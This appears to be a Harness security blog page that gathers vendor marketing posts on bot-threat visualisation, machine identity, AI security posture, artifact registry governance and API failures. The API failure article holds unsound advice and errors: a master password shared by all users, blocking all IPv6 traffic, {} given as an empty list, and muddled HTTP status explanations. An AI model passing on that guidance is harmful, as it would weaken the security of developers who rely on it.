Radar changes the game for bot attack response. It is an intelligent threat visualization engine that instantly unmasks hidden relationships in bot attacks, turning the abstract "DNA" of an automated threat into a clear, interactive map.

It helps with

Speed to Verdict: What used to take hours of manual cross-referencing now takes seconds of visual inspection.
Explainable Security: Radar "white-boxes" our detection logic, giving you visual proof of why we flagged a cluster of users.
Enterprise-Grade Depth: Built to meet the rigorous demands of leading financial institutions and E-Commerce, Radar handles the complexity of high-stakes fraud investigations with ease.

Why SecOps Teams Need Threat Visualization

SOC analysts struggle to quickly respond to advanced threats and bot attacks targeting their organization’s systems. Analysis of recent breach data shows that on average organizations take roughly six months to identify the related incident. Advanced automated bot and abuse attacks, increasingly accelerated with AI, frequently go undiscovered for this time period. The harsh reality is that data relationships and system interconnects in enterprise environments are complex to unwind as automated threats play out, leaving significant incident response gaps for threat detection.

Inhibited response: Security teams spend days, weeks, or months manually cross-referencing siloed data, delaying incident response when speed is critical.
Opaque Security: Detection logic in other bot mitigation offerings is a black box, leaving SecOps teams with little insight or evidence to justify why users or clusters are flagged.
Limited Depth: Existing tools struggle to handle the complexity and scale of high-stakes fraud investigations, falling short of enterprise requirements for financial institutions and e-commerce.

Radar Key Capabilities

1. The Unified Threat Canvas

Stop investigating accounts in silos. Radar projects user connections onto an interactive graph, instantly revealing the shared threat signatures—such as IP subnets, device fingerprints, and behavioral patterns—that bind disparate accounts and activities together. You can now see the shape of the attack campaign at a glance.

‍

2. AI-Powered Context

Understanding why accounts are connected is just as important as knowing that they are connected. Radar integrates deep AI insights that analyze the cluster to provide a narrative summary of the attack. Whether it's a "distributed credential stuffing attack via a residential proxy ring" or "coordinated inventory hoarding," Harness AI explains the security context so you don't have to guess.

3. Portable Forensics

We know your investigation doesn't always end in our console. Radar features a robust export engine that packages every data point—user details, threat activities, and linkage evidence—into a comprehensive format ready for your SIEM and SOAR tools or related DFIR workflows.

‍

Get Started Today

Radar is available immediately with your existing Harness Bot & Abuse Protection subscription. There is no additional cost or setup required.

Current Customers: Log in to your dashboard today to start exploring your threat data in a whole new dimension.
New to the Platform? If you aren't yet protected, contact us to schedule a personalized demo of Radar in action.

Request a demo

Technical

Zachary Gruenberg on Machine Identity Security in the Age of AI

Palo Alto Networks Solution Engineer Zachary Gruenberg joins the ShipTalk podcast at SREday NYC 2026 to discuss machine identity security, AI agents, and how SRE teams can manage identity sprawl.

Dewan Ahmed

March 19, 2026

Time to read

At SREday NYC 2026, the ShipTalk podcast welcomed Zachary Gruenberg, Solution Engineer and Machine Identity SME at Palo Alto Networks, for a conversation about one of the fastest growing challenges in modern infrastructure: machine identity management.

Throughout the conference, much of the discussion centered on AI agents automating operational tasks—from incident response to infrastructure management. But every automated agent interacting with systems still requires credentials and access permissions.

In the episode, ShipTalk host Dewan Ahmed, Principal Developer Advocate at Harness, spoke with Zachary about how the rapid rise of AI-driven automation is creating an explosion of machine identities—and why managing them is quickly becoming a major security concern for SRE and platform teams.

🎧 Listen to the Full Episode

The Explosion of Machine Identities

In the past, identity management primarily focused on human users logging into systems.

Today, the landscape looks very different.

Modern infrastructure environments include a growing number of non-human identities such as:

service accounts
automation scripts
CI/CD pipelines
microservices communicating with each other
AI agents performing operational tasks

Each of these components requires credentials in order to interact with infrastructure, APIs, and other services.

As organizations deploy more automation and AI-driven workflows, the number of machine identities can quickly outnumber human users by several orders of magnitude.

For SRE teams, this creates a new challenge: tracking which systems have access to what resources—and ensuring those permissions remain secure.

Building Security That Scales with Automation

One of the most common problems Zachary sees is that teams prioritize functionality when deploying new automation systems.

When engineers introduce AI agents or automated workflows, identity management is often treated as an afterthought.

That approach can lead to:

overly permissive service accounts
long-lived credentials
unclear ownership of machine identities
difficulty auditing access across systems

To address this, Zachary encourages organizations to treat machine identity as a core component of their security architecture, rather than a secondary concern.

This often includes practices such as:

implementing short-lived credentials
centralizing identity management across services
applying the principle of least privilege to machine accounts
automating identity lifecycle management alongside infrastructure automation

When these controls are built into the platform early, security can scale alongside automation instead of becoming a bottleneck.

The Most Common Machine Identity Blind Spot

Despite the growing awareness of identity security, Zachary frequently encounters one recurring issue.

Many teams simply lose track of the machine identities they have created.

Over time, environments accumulate service accounts, API keys, tokens, and automation credentials that remain active long after the systems that created them are gone.

This “identity sprawl” can create significant risk, particularly in environments where automated systems are interacting with critical infrastructure.

The challenge becomes even greater as AI agents begin performing more complex operational tasks.

Ensuring that these agents have the right level of access—and no more—requires visibility into every identity operating within the system.

Security in an Autonomous Infrastructure World

As organizations adopt AI-driven automation across operations, the importance of identity security will only increase.

Each new automation tool or AI workflow adds another layer of machine identities interacting with infrastructure.

For SRE and platform teams, this means reliability engineering and security practices are becoming increasingly interconnected.

Strong machine identity management ensures that automation systems can operate safely while protecting the infrastructure they interact with.

‍

Final Thoughts

Zachary Gruenberg’s message is a timely reminder that the growth of AI agents and automation does not eliminate the need for strong security foundations.

If anything, it makes them even more critical.

As organizations move toward more autonomous systems, understanding who—or what—has access to critical infrastructure will remain one of the most important challenges for reliability and security teams alike.

🎧 Listen to the Full Episode

Subscribe to the ShipTalk Podcast

Enjoy conversations like this with engineers, platform builders, and reliability leaders from across the industry.

Follow ShipTalk on your favorite podcast platform and stay tuned for more stories from the people building the systems that power modern technology. 🎙️🚀

Technical

Securing AI and Securing With AI: AI Security from Code to Runtime With Harness

Harness launches AI Security and Secure AI Coding to discover, test, and protect AI-native apps and AI-generated code across the DevSecOps lifecycle.

Renny Shen

Rahul Sood

March 17, 2026

Time to read

AI is changing both what you build and how you build it - at the same time. Today, Harness is announcing two new products to secure both: AI Security, a new product to discover, test, and protect AI running in your applications, and Secure AI Coding, a new capability of Harness SAST that secures the code your AI tools are writing. Together, they further extend Harness's DevSecOps platform into the age of AI, covering the full lifecycle from the first line of AI-generated code to the models running in production.

In November, Harness published our State of AI-Native Application Security report, a survey of hundreds of security and engineering leaders on how AI-native applications are changing your threat surface. The findings were stark: 61% of new applications are now AI-powered, yet most organizations lack the tools to discover what AI models and agents exist in their environments, test them for vulnerabilities unique to AI, or protect them at runtime. The attack surface has expanded dramatically — but the tools to defend it haven't kept up.

The picture is equally concerning on the development side. Our State of AI in Software Engineering report found that 63% of organizations are already using AI coding assistants - tools like Claude Code, Cursor, and Windsurf - to write code faster. But faster isn't safer. AI-generated code has the same vulnerabilities as human-written code, but now with larger and more frequent commits. AppSec programs that were already stretched thin are now breaking under the volume and velocity.

The result is a blind spot on both sides of the AI equation - what you're building, and what you're building with. Today, Harness is closing that gap.

What Makes Harness Different?

Most security vendors are stuck in their lane. Shift-left tools catch vulnerabilities in code before they reach production. Runtime protection tools block attacks after applications are deployed. And the two rarely talk to each other.

Harness was built on a different premise: real DevSecOps means connecting every stage of the software delivery lifecycle, and closing the loop between what you find in production and what you fix in code.

That's what the Harness platform does today. Application Security Testing brings SAST and SCA directly into the development workflow, surfacing vulnerabilities where they're faster and cheaper to fix. SCS ensures the integrity of artifacts from build to deploy, while STO provides a unified view of security posture — along with policy and governance — across the entire organization.

As code ships to production, Web Application & API Protection monitors and defends applications and APIs in real time, detecting and blocking attacks as they happen. And critically, findings from runtime don't disappear into a security team's backlog — they flow back to developers to address root causes before the next release.

The result is a closed loop: find it in code, protect it in production, fix it fast. All on a single, unified platform.

Today, we're extending that loop into AI - on both sides. AI is reshaping what you build and how you build it simultaneously. A platform that can only address one side of that equation leaves you exposed on the other. Harness closes both gaps.

Introducing AI Security

In the State of AI-Native Application Security, 66% of respondents said they are flying blind when it comes to securing AI-native apps. 72% call shadow AI a gaping chasm in their security posture. 63% believe AI-native applications are more vulnerable than traditional IT applications. They’re right to be concerned.

Harness AI Security is built on the foundation of our API security platform. Every LLM call, every MCP server, every AI agent communicating with an external service does so via APIs. Your AI attack surface isn't separate from your API attack surface; it's an expansion of it. AI threats introduce new vectors like prompt injection, model manipulation, and data poisoning on top of the API vulnerabilities your teams already contend with. There is no AI security without API security.

With the launch of AI Security, we are introducing AI Discovery in General Availability (GA). AI security starts where API security starts: discovery. You can't assess or mitigate risk from AI components you don't know exist. Harness already continuously monitors your environment for new API endpoints the moment they're deployed. Recognizing LLMs, MCP servers, AI agents, and third-party GenAI services like OpenAI and Anthropic is a natural extension of that. AI Discovery automatically inventories your entire AI attack surface in real time, including calls to external GenAI services that could expose sensitive data, and surfaces runtime risks, such as unauthenticated APIs calling LLMs, weak encryption, or regulated data flowing to external models.

Beyond discovering and inventorying your AI application components, we are also introducing AI Testing and AI Firewall in Beta, extending AI Security across the full discover-test-protect lifecycle.

AI Testing actively probes your LLMs, agents, and AI-powered APIs for vulnerabilities unique to AI-native applications, including prompt injection, jailbreaks, model manipulation, data leakage, and more. These aren't vulnerabilities that a traditional DAST tool is designed to find. AI Testing was purpose-built for AI threats, continuously validating that your models and the APIs that expose them behave safely under adversarial conditions. It integrates directly into your existing CI/CD pipelines, so AI-specific security testing becomes part of every release — not a one-time audit.

AI Firewall actively protects your AI applications from AI-specific threats, such as the OWASP Top 10 for LLM Applications. It inspects and filters LLM inputs and outputs in real time, blocking prompt injection attempts, preventing sensitive data exfiltration, and enforcing behavioral guardrails on your models and agents before an attack can succeed. Unlike traditional WAF rules that require manual tuning for every new threat pattern, AI Firewall understands AI-native attack vectors natively, adapting to the evolving tactics attackers use against generative AI.

Harness AI Security with AI Discovery is now available in GA, while AI Testing and AI Firewall are available in Beta.

Introducing Secure AI Coding

"As AI-assisted development becomes standard practice, the security implications of AI-generated code are becoming a material blind spot for enterprises. IDC research indicates developers accept nearly 40% of AI-generated code without revision, which can allow insecure patterns to propagate as organizations increase code output faster than they expand validation and governance, widening the gap between development velocity and application risk."

— Katie Norton, Research Manager, DevSecOps, IDC

AI Security addresses the risks inside your AI-native applications. Secure AI Coding addresses a different problem: the vulnerabilities your AI tools are introducing into your codebase.

Developers are generating more code than ever, and shipping it faster than ever. AI coding assistants now contribute to the majority of new code at many organizations — and nearly half (48%) of security and engineering leaders are concerned about the vulnerabilities that come with it. AI-generated code arrives in larger commits, at higher frequency, and often with less review than human-written code would receive.

SAST tools catch vulnerabilities at the PR stage — but by then, AI-generated code has already been written, reviewed, and often partially shipped. Harness SAST's new Secure AI Coding capability moves the security check earlier to the moment of generation, integrating directly with AI coding tools like Cursor, Windsurf, and Claude Code to scan code as it appears in the IDE. Developers never leave their workflow. They see a vulnerability warning inline, alongside a prompt to send the flagged code back to the agent for remediation — all without switching tools or even needing to trigger a manual scan.

"Security shouldn't be an afterthought when using AI dev tools. Our collaboration with Harness kicks off vulnerability detection directly in the developer workflow, so all generated code is screened from the start." — Jeff Wang, CEO, Windsurf

What sets Secure AI Coding apart from simpler linting tools is what happens beneath the surface. Rather than pattern-matching the AI-generated code in isolation, it leverages Harness's Code Property Graph (CPG) to trace how data flows through the entire application - before, through, and after the AI-generated code in question. That means Secure AI Coding can surface complex vulnerabilities like injection flaws and insecure data handling that only become visible in the context of the broader codebase. The result is security that understands your application - not just the last thing an AI assistant wrote.

We Had the Same Problem

When we deployed AI across our own platform, our AI ecosystem grew faster than our visibility into it. We needed a way to track every API call, identify sensitive data exposure, and monitor calls to external vendors — including OpenAI, Vertex AI, and Anthropic — without slowing down our engineering teams.

Deploying AI Security turned that black box into a transparent, manageable environment. Some milestones from our last 90 days:

We now track 111 AI assets and monitor over 4.76 million monthly API calls, giving our security team a granular, real-time map of our entire AI attack surface.
We now run 2,500 AI testing scans a week and have remediated 92% of the issues found, including critical weak authentication and encryption gaps in MCP tools.
We identified and blocked 1,140 unique threat actors attempting more than 14,900 attacks against our AI infrastructure.

The shift wasn't just operational — it was cultural. We moved from reactive monitoring to proactive defense. As our team put it: "Securing AI is foundational for us. Because our own product runs on AI, it must be resilient and secure. We use our own AI Security tools to ensure that every innovation we ship is backed by the highest security standards."

Ready to Secure Your AI?

AI is moving fast. Your attack surface is expanding in two directions at once - inside the applications you're building, and inside the code your teams are generating to build them.

Harness AI Security and Secure AI Coding are available now. Whether you're trying to get visibility into the AI running in your environment, test it for vulnerabilities before attackers do, or stop insecure AI-generated code from reaching production, Harness’ platform is ready.

Talk to your account team about AI Security. Get a live walkthrough of AI Discovery, AI Testing, and AI Firewall, and see how your AI attack surface maps against your existing API security posture.

Already a Harness CI customer? Start a free trial of Harness SAST - including Secure AI Coding. Connect it to your AI coding assistant, and see what's shipping in your AI-generated code today.

Contact us

Technical

From Shadow AI to Full Visibility: Operationalising AI Security at Scale

How modern enterprises discover AI systems, understand sensitive data exposure, assess AI-specific risks, and integrate AI posture into security operations.

Sanket Raut

March 16, 2026

Time to read

AI is proliferating across enterprise environments faster than security teams can govern it. From third-party LLM integrations to agentic frameworks like Model Context Protocol (MCP), most organisations have limited visibility into how many AI systems are running, what data they process, or what risks they introduce.

Why AI Security Posture Management Matters Now

Three realities are driving this to the top of the security agenda:

Rapid, ungoverned adoption: AI integrations enter production through multiple vectors simultaneously - developer experiments, third-party SaaS with embedded LLM capabilities, and MCP servers that expose tools and data sources to autonomous AI agents - often without security review.
Systemic lack of visibility: Most CISOs cannot accurately answer how many AI APIs are running in their environment. AI integrations do not announce themselves to security teams; they surface in compliance audits and incident investigations months after deployment.‍
Sensitive data exposure at the AI layer: Every AI API is a potential data exposure point. Prompts carry confidential business context and personal information. Model responses can surface training data or infer sensitive attributes. Traditional API security tools were not built to address this risk.

Example: Shadow AI in a financial services firm

A quantitative analyst team integrates an LLM into their research workflow. The integration ships as a product feature. Six months later, a compliance review finds the endpoint is externally accessible, processes client PII, and transmits data to a third-party model provider outside the scope of the firm's data processing agreements. The AI system existed, processed regulated data, and created regulatory exposure - entirely outside the security programme's awareness.

The Framework: Discover - Understand - Assess Risk - Operationalise

Effective AI security is not a single capability - it is a continuous workflow across four phases:

01 Discover
Shadow AI & MCP

02 Understand
Sensitive data flows

03 Assess Risk
AI-specific risks

04 Operationalise
Integrate into SecOps

01 Discover: Build the Complete AI Asset Inventory

Harness continuously discovers and classifies every AI asset from live traffic and API specifications - no manual registration required:

AI APIs: endpoints connecting to external LLM providers (OpenAI, Google, Anthropic, Azure OpenAI)
MCP servers and tools: discrete capabilities exposed to AI agents, including database queries and external API calls
MCP resources: data sources exposed to AI agents, including files, documents, and structured data that provide context to AI workflows.
Non-AI APIs: APIs that interact with AI infrastructure - including calls to vector databases and RAG (Retrieval-Augmented Generation) data stores - that form part of the AI data pipeline

Shadow AI found by Harness is risk-scored, ownership-flagged, and surfaced for immediate security review. The finding moves directly into the vulnerability lifecycle with a URL, environment classification, and traffic record.

02 Understand: Map Sensitive Data Flows Across the AI Data Plane

Harness continuously analyzes AI API & MCP traffic to identify sensitive data types flowing through every discovered endpoint:

Request payloads: prompts, user context, and input parameters carrying PII, financial data, or health information
Response payloads: model outputs and generated content that may surface training data or infer sensitive attributes
Third-party boundaries: every inference call to an external LLM provider is a data transfer event; Harness monitors exactly what data crosses the model provider boundary

When sensitive data appears in an AI endpoint for the first time, or is transmitted to an external provider, Harness surfaces a real-time Posture Event - giving privacy and compliance teams the window to act before an exposure becomes a breach notification obligation.

03 Assess Risk: AI-Specific Vulnerability Detection and Risk Scoring

Harness detects AI API & MCP tool vulnerabilities passively from live traffic - no active scanning, no disruption to production AI workloads. Detection covers:

OWASP API Top 10: applied specifically to AI traffic patterns, including auth weaknesses, excessive data exposure in model responses, and missing rate limiting on LLM endpoints
MCP-specific risks: tools exposed to the public internet without authentication
Specification drift: shadow endpoints (traffic but no spec) and orphan endpoints (spec but no traffic) identified by continuous conformance analysis

Risk scoring applies AI-specific weighting: an unauthenticated, externally exposed LLM endpoint is simultaneously a prompt injection target, a data extraction vector, and a compute abuse surface. Scores are dynamic, recalculating as traffic patterns and sensitive data classifications change.

04 Operationalise: Integrate AI Posture into Security Workflows

Harness Posture Events feed connects AI security signals to the workflows security teams already run:

Jira: vulnerabilities auto-generate tickets pre-populated with endpoint details, CVSS score, and mitigation guidance
SIEM / SOC: real-time AI threats - prompt injection attempts, DLP alerts, anomalous model behaviour - flow into the SIEM for correlation; Harness provides the characterised asset context before the alert reaches the analyst
Compliance evidence: every Posture Event is timestamped, filterable, and CSV-exportable, building a continuous audit trail without manual assembly

Custom notifications: privacy teams can alert on sensitive data to 3rd parties; SOC on risk score spikes; governance on new shadow AI assets

Maturity Model: Day 1 - Day 30 - Day 90

AI security posture management is a journey, not a deployment. Here is how organisations evolve:

Stage	Security Focus	Outcome
Day 1	Discover all AI APIs, MCP servers, MCP Tools, Vector DB, and RAG APIs across all environments	Complete AI asset inventory; shadow AI flagged for immediate review
Day 30	Map sensitive data flows; apply AI-specific risk scoring; prioritise remediation	High-risk AI endpoints identified; 3rd-party data flows assessed against DPAs
Day 90	Integrate AI posture into SOC, compliance reporting, and vulnerability SLAs	AI security governed continuously; audit evidence on demand; attack surface shrinking

KEY
INSIGHT

The Day 1 to Day 30 transition is the most critical: moving from 'we have a list' to 'we understand what our AI systems touch and which carry the most risk.' Most organisations stall at Day 1 because they lack the data classification and risk scoring layer to act on what they found.

Enterprise Extension: ServiceNow CMDB Integration

For organisations where CMDB governs asset lifecycle, Harness’s Service Graph Connector extends AI-SPM into ServiceNow. Key use cases:

Change management: new AI APIs discovered by Traceable trigger a ServiceNow change request in 'Pending Review' state before accumulating production traffic
Vendor risk: third-party AI providers are represented as vendor CIs linked to DPAs and risk assessment records
Incident response: SOC analysts work on AI incidents with Traceable's threat intelligence and CMDB's organisational context simultaneously
Compliance evidence: AI compliance questions answered directly from CMDB records populated by Traceable - no manual assembly
Decommissioning: orphaned AI endpoints identified by Traceable's conformance analysis trigger governed retirement workflows; Traceable confirms the endpoint has gone dark

‍

The Bottom Line

Operationalising AI security is not about scanning prompts. It is about continuously discovering AI systems, understanding how they access sensitive data, assessing the risks they introduce, and integrating AI posture into the security operations that already exist.

The organisations that build this capability now will govern what others are still trying to find, detect exposures before they become incidents, and answer regulatory questions with data rather than approximation - continuously, not periodically.

Technical

From Artifact Storage to Supply Chain Control: Rethinking Artifact Management with Harness

Modernize artifact management with built-in security and governance. Secure dependencies at ingest and scale software delivery with confidence.

Mrinalini Sugosh

February 19, 2026

Time to read

From Artifact Storage to Supply Chain Control: Rethinking Artifact Management with Harness

Harness Artifact Registry marks an important milestone as it evolves from universal artifact management into an active control point for the software supply chain. With growing enterprise adoption and new security and governance capabilities, Artifact Registry is helping teams block risky dependencies before they reach the pipeline, reduce supply chain exposure, and scale artifact management without slowing developers down.

In little over a year, Harness Artifact Registry has grown from early discovery to strong enterprise adoption, supporting a wide range of artifact formats, enterprise-scale storage, and high-throughput CI/CD pipelines across both customers and internal teams. What started as a focused initiative inside Harness has evolved into a startup within a startup, quickly becoming a core pillar of the Harness platform.

Today, we’re sharing how Artifact Registry is helping organizations scale software delivery by simplifying artifact management, strengthening supply chain security, and improving developer experience and where we’re headed next.

[Intro Video]

Building a Modernized, Cloud Native Artifact Management

In customer conversations, one theme came up repeatedly: as organizations scale CI/CD, artifacts multiply fast. Containers, packages, binaries, Helm charts, and more end up spreading across fragmented tools with inconsistent controls. Teams don't want just another registry. They want one trusted system, deeply integrated with CI/CD, that can scale globally and enforce policy by default. That's exactly what the Artifact Registry was built to be. By embedding artifact management directly into the Harness platform, it reduces tooling sprawl while giving platform engineering, DevOps, and AppSec teams centralized visibility and control, without slowing developers down.

Artifact Registry: A Unified Home for Every Artifact

Today, Artifact Registry supports a growing ecosystem of artifact types, with Docker, Helm (OCI), Generic, Python, npm, Go, NuGet, Dart, Conda, PHP Composer, and AI artifacts now available, and more on the way. With Artifact Registry, teams can:

Centralize all artifacts across CI and CD in one platform-native registry
Scale globally with multi-region replication for performance and resilience
Simplify migration with built-in tooling to move from existing registries
Deliver faster, more reliable artifact pulls across environments

The business impact is already clear. Artifact Registry has quickly gained traction with several enterprise customers, driven by strong platform integration, low-friction adoption, and the advantage of having artifact management natively embedded within the CI/CD platform.

One early customer managing artifacts across Docker, Helm, Python, NPM, Go, and more has standardized on Harness Artifact Registry, achieving 100% CI adoption across teams and pipelines.

“Harness Artifact Registry is stable, performant, and easy to trust at scale, delivering faster and more reliable artifact pulls than our previous vendor”
— SRE Lead

By unifying artifact storage with the rest of the software delivery lifecycle, Artifact Registry simplifies operations while helping teams focus on shipping software.

Shifting from Passive Storage to Active Governance

Software supply chain threats have become both more frequent and more sophisticated. High-profile incidents like the SolarWinds breach, where attackers injected malicious code into trusted update binaries affecting thousands of organizations, exposed how deeply a compromised artifact can penetrate enterprise systems. More recently, the Shai-Hulud 2.0 campaign saw self-propagating malware compromise hundreds of npm packages and tens of thousands of downstream repositories, harvesting credentials and spreading automatically through development environments.

As these attacks show, risk doesn’t only exist after a build, it can be embedded long before artifacts reach CI/CD pipelines. That’s why Harness Artifact Registry was designed with governance at its core.

Blocking Risky Dependencies Before They Reach Your Pipeline

Harness Artifact Registry includes Dependency Firewall, a control point that allows organizations to govern which dependencies are allowed into their environment in the first place. Rather than relying on downstream scans after a package has already been pulled into CI/CD, Dependency Firewall evaluates dependency requests at ingest using policy-based controls.

This allows teams to proactively block risky artifacts before they are ever downloaded. Organizations can prevent the use of dependencies with known CVEs or license violations, blocking risky dependencies before they reach your pipeline, and restrict access to untrusted or unsafe upstream sources by default. The result is earlier risk reduction, fewer security exceptions later in the pipeline, and stronger alignment between AppSec and development teams without slowing delivery.

[Dependency Firewall Explainer Video]

Automatically Blocking Risky Artifacts Before Deployment

To further strengthen supply chain protection, Artifact Registry provides built-in artifact quarantine, allowing organizations to automatically block artifacts that fail security or compliance checks. Quarantined artifacts cannot be downloaded or deployed until they meet defined policy requirements, helping teams stop risk before it moves downstream. All quarantine actions are policy-driven, fully auditable, and governed by RBAC, ensuring that only authorized users or systems can quarantine or release artifacts.

Integrating Security into Existing Scanning Workflows

Rather than forcing teams to replace the tools they already use, Harness Artifact Registry is built to fit into real-world security workflows by unifying scanning and governance at the registry layer. Today, Artifact Registry includes built-in scanning powered by Aqua Trivy for vulnerabilities, license issues, and misconfigurations, and integrates with over 40 security scanners, including tools like Wiz, for container, SCA, and compliance checks. Teams can orchestrate these scans directly in their CI pipelines, with scan results feeding into policy evaluation to automatically determine whether an artifact is released or quarantined.

Artifact Registry also exposes APIs that allow external security and ASPM platforms to trigger quarantine or release actions based on centralized policy decisions. Together, these capabilities enable organizations to enforce consistent, policy-driven controls early, stop risky artifacts before they move downstream, and connect artifact governance to broader enterprise security workflows all without slowing down developers.

How Artifact Registry Is Transforming Software Delivery

As organizations scaled, legacy registries have become bottlenecks disconnected from CI/CD, security, and governance workflows. Harness takes a different approach. Because Artifact Registry is natively integrated into the Harness platform, teams benefit from:

Native CI/CD integration with no extra tooling
Fast and seamless adoption for existing Harness customers
Shared visibility across Platform, DevOps, and AppSec teams
Security enforced early through built-in governance and Dependency Firewall

This tight integration has accelerated adoption by removing friction from day-to-day workflows. Teams are standardizing how artifacts are secured, distributed, and governed across the software delivery lifecycle, while keeping developer workflows fast and familiar.

What’s Next for Artifact Registry?

Harness Artifact Registry was built to modernize artifact management for the enterprise, combining high-performance distribution with built-in security, governance, and visibility. We’ve continued to invest in a platform designed to scale with modern delivery pipelines and we’re just getting started.

Looking ahead, we’re expanding Artifact Registry in three key areas:

Package Ecosystem Expansion

Support is coming for Alpine, Debian, Swift, RubyGems, Conan, and Terraform packages, enabling teams to standardize more of their software supply chain on a single platform.

Governance, Security, and Operational Control

We’re investing in artifact lifecycle management, immutability, audit logging, storage quota controls, and deeper integration with Harness Security Solutions.

AI, Visibility, and Integrations

Upcoming capabilities include semantic artifact discovery, custom dashboards, AI-powered chat, OSS gatekeeper agents, and deeper integration with Harness Internal Developer Portal.

Modern software delivery demands clear control over how software is built, secured, and distributed. As supply chain threats increase and delivery velocity accelerates, organizations need earlier visibility and enforcement without introducing new friction or operational complexity.

We invite you to sign up for a demo and see firsthand how Harness Artifact Registry delivers high-performance artifact distribution with built-in security and governance at scale.

Technical

Engineering Blog

API Failure: 7 Causes and How to Fix Them

An API failure is any response that doesn’t conform to the system’s expected behavior. Learn seven API failures and how to fix them.

Harness Team

March 13, 2026

Time to read

What Is an API Failure?

An API failure is any response that doesn’t conform to the system’s expected behavior being invoked by the client. One example is when a client makes a request to an API that is supposed to return a list of users but returns an empty list (i.e., {}). A successful response must have a status code in the 200 series. An unsuccessful response must have either an HTTP error code or a 0 return value.

What Are the Common API Error Codes?

An API will raise an exception if it can’t process a client request correctly. The following are the common error codes and their meanings:

400 Bad Request: This error occurs when the client request is malformed or cannot be processed by your API.
401 Unauthorized: This error occurs when an API key is missing or incorrectly entered.
403 Forbidden: This error occurs when a user tries to access a resource they don’t have permission to see.
404 Not Found: This error, also known as a File Not Found error, rarely has anything to do with the API itself but instead with the underlying system (for example, if trying to access a file that doesn’t exist on the server). This is usually related to something else and not directly related to your API code.
500 Internal Server: This error occurs when your server can’t respond to a request from a user or can’t find some data (for example, you’re trying to access any post, but none of the posts exist for the given ID).

What Causes API Failure?

An API failure can happen because of issues with the endpoints like network connectivity, latency, and load balancing issues. The examples below may give you a good understanding of what causes an API failure.

1. Incorrect API Permissions

Some APIs are better left locked down to those who need access and are only available to those using an approved key. However, when you don’t set up the correct permissions for users, you can impede the application’s basic functionality. If you’re using an external API, like Facebook, Twitter, or even Google Analytics, make sure you’re adding the permissions for your users to access the data they need. Also, keep on top of any newly added features that can increase security risks.

How to Fix Incorrect API Permissions

If you’re leveraging external APIs requiring extra configuration, get the correct API key so the app has the proper permissions. Also, provide your clients with API keys relevant to their authorization levels. Thus, your users will have the correct permissions and will seamlessly access your application.

2. Unsecured Endpoints and Data Access Tokens

We’ve all seen it happen a million times: someone discovers an API that’s exposed to everyone after gaining user consent. Until now, this was usually reasonably benign, but when credentials are leaked, things can get ugly fast, and companies lose brand trust. The biggest problem here is keeping admins from having unsecured access to sensitive data.

How to Fix Unsecured Endpoints and Data Access Tokens

Using a secure key management system that includes the “View Keys” permission for the account will help mitigate this risk. For example, you could use AWS Key Management Service (AWS KMS) to help you manage and create your encryption keys. If you can’t protect your keys, then at the very least, include a strong master password that all users can access, and only give out these keys when needed.

3. Invalid Session Management

Untrusted tokens and session variables can cause problems for how a website functions, causing timing issues with page loads and login calls or even creating a denial of service, which can harm the end-user experience and your brand.

How to Fix Invalid Session Management

The best way to secure sensitive data is by using token authentication, which will encode user data into the token itself based on time/date stamps. You can then enforce this to ensure that whenever you reissue tokens, they expire after a set amount of time or use them for API requests only. As for session variables, these are usually created based on your authentication keys and should be handled the same way as your privileged keys—with some encryption. And keep the source of your keys out of the hands of anyone who can access them.

4. Expiring APIs

If you’re using an API to power a website, you must upload new data in real time or save it to a cache for later use. When you set an expiry time for an API and fail to update, you make it unavailable. When a user or application tries to access it after the expiry, they get a 404 or 500 error.

How to Fix Expiring APIs

You should use a middle ground option—a proxy API. This will allow you to cache your data before you make it available and only allow access to the correct bits of the APIs as needed. You should also schedule tasks that run daily to import updated data and bring it into your system.

5. Bad URLs

This one isn’t necessarily a mistake, but it happens from time to time when developers aren’t careful about how they name things or if they’re using an improper URL structure for their API endpoints. When the URL structure is too complex or has invalid characters, you will get errors and failures. Look at some examples of bad URL structure: “http://example.com/api/v1?mode=get” The above structure is bad because the "?" character filters a single parameter, not the type of request. The default request type is GET; thus, a better URL would look like this: “http://example.com/api/v1”

How to Fix Bad URLs

Remove any unsafe characters in your URL, like angle brackets (<>). You use angle brackets as delimiters in your URL. Also, design the API to make it more friendly for users. For example, this URL "https://example.com/users/name" tells users they’re querying the names of users, unlike this URL "https://example.com/usr/nm" It’s also good practice to use a space after the “?” in your API URL because otherwise, people can mistakenly think that the space is part of a query string.

6. Overly Complex API Endpoints

This happens when trying to build multiple ways of accessing multiple applications. You do this by relying on generic endpoints instead of target audiences and specific applications. Creating a lot of different paths for the same data results in non-intuitive routes.

How to Fix Overly Complex API Endpoints

There are several ways to go about this, but for most, you want to use a network proxy system that can handle the different data access methods and bring it all into one spot. This will help minimize potential issues with your APIs routes and help with user confusion and brand damage.

7. Exposed APIs on IPs

This can happen when organizations are not properly securing their public IP addresses, or there is no solid monitoring process. This exposes your assets by providing easy access to anyone. Exposed IPs make your application vulnerable to DDoS attacks and other forms of abuse or phishing.

How to Fix Exposed APIs on IPs

Make sure you properly manage your IP addresses and have a solid monitoring system. You must block all IPv6 traffic and enforce strict firewall rules on your network. You should only allow service access through secure transport methods like TLS.

Conclusion

API errors are a plague on the internet. Sometimes they come as very poor performance that can produce long response times and bring down APIs, or they can be network-related and cause unavailable services. They’re often caused by problems such as inconsistent resource access errors, neglect in proper authentication checks, faulty authentication data validation on endpoints, failure to read return codes from an endpoint, etc. Once organizations recognize what causes API failures and how to mitigate them, they seek web application and API protection (WAAP) platforms to address the security gaps. Harness WAAP by Traceable helps you analyze and protect your application from risk and thus prevent failures.

About Traceable

Harness WAAP is the industry’s leading API security platform that identifies APIs, evaluates API risk posture, stops API attacks, and provides deep analytics for threat hunting and forensic research. With visual depictions of API paths at the core of its technology, its platform applies the power of distributed tracing and machine learning models for API security across the entire software development lifecycle. Book a demo today.

Security & Compliance Blogs

Featured Blogs

Software Delivery Context, Now Inside Claude

What You Can Do with Claude and Harness

The Problem With Giving AI Agents Raw API Access

What the Harness + Claude Integration Changes

What This Looks Like in Practice

Debugging a failed pipeline without context switching

Promoting a deployment through governed gates

This Is Not AI Without Guardrails

Why the Claude Connectors Directory Matters

Getting Started

The AI Visibility Problem: When Speed Outruns Security

The Question Everyone’s Asking

The AI Visibility Problem

Security Has to Move Closer to Engineering

Developers Don’t Need to Slow Down — They Need Guardrails

Seeing What Matters

GitHub Actions Supply Chain Attack: tj-actions/changed-files - Impact Assessment and Mitigation Guidance

Updates on the incident

Overview

Breaking Down the Attack

Immediate Measures to Control the Impact

How can Harness SCS help?

Integrating Harness SCS Runtime Analysis with Traceable - Coming Soon!

Conclusion

Latest Blogs

